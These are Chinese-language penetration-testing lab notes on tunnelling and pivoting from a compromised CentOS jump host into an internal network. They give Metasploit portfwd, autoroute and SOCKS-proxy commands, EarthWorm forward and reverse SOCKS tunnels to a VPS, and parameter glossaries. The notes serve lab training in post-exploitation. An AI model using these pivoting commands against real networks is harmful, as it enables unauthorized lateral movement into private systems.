隧道通信技术2
环境搭建：
centos：两张网卡、一张nat（当作公网ip）、一张仅主机（vmnet3）
win7：一张网卡（vmnet3）
kali：一张网卡nat（当作公网ip）
kali的ip为192..168.227.129，centos: 192.168.227.133 | 192.168.22.129 win7:192.168.22.131
1. MSF端口转发portfwd
前提:已经成功与contos(跳板机)建立连接获得root权限(就是跳板机完全被拿下)
portfwd add -l 1234 -p 3389 -r 192.168.22.131 添加端口转发
rdesktop成功连接本地的1234端口访问到win7的3389端口
|
Add：该参数用于创建转发。 Delete：这将从我们的转发端口列表中删除先前的条目。 List：这将列出当前转发的所有端口。 Flush：这将删除我们的转发列表中的所有端口。 -L：用于指定监听主机。 除非需要在特定网络适配器上进行转发，否则可以省略此选 项。 如果未输入任何值，则将使用0.0.0.0。 -h：显示以上信息。 -l：这是一个本地端口，它将在攻击机器上侦听。与此端口的连接将被转发到远程系统。 -p：TCP连接将转发到的端口。 -r：连接被中继到的IP地址（目标）。 |
2. msfsocks代理
meterpreter > route 查看路由
meterpreter > run autoroute -p 查看是否有路由被添加
meterpreter > run autoroute -h 查看帮助命令
meterpreter > run autoroute -s 192.168.22.0/24 添加内网网段
meterpreter > run post/multi/manage/autoroute 自动添加跳板机上的所有路由
msf6 > search socks 搜索socks相关模块
msf6 > use 3 使用auxiliary/server/socks_proxy模块
show options 查看参数
把SRVPORT改成你proxychains.conf中对应的端口，或者改proxychains.conf中的端口
执行
proxychains curl myip.ipip.net 测试一下是否代理成功
成功获取内网
3. ew
(1) 正向代理
./ew_for_linux64 -s ssocksd -l 端口号 开启socks代理服务器
方法一
kali机修改vim /etc/proxychains.conf 改成
测试是否代理成功
成功连接内网
方法二
物理机开启froxifier，点击配置文件中的代理服务器
检查一下是否可用
成功访问内网
(2) 反向代理
代理服务器：./ew -s rcsocks -l 监听的端口 -e 转发数据的端口
转发的主机：./ew -s rssocks -d 目标主机 -e 转发数据的端口
vps显示反弹成功
物理机上设置
成功访问到内网
|
ssocksd 正向代理 rcsocks 反向代理监听 rssocks 反向代理反弹 lcx_listen 端口转发监听 lcx_slave 端口转发反弹 lcx_tran 转换端口传输 -l 监听本地 -d 目标ip地址 -g 要转发的端口 -f 要转发的ip -e 转发端口 |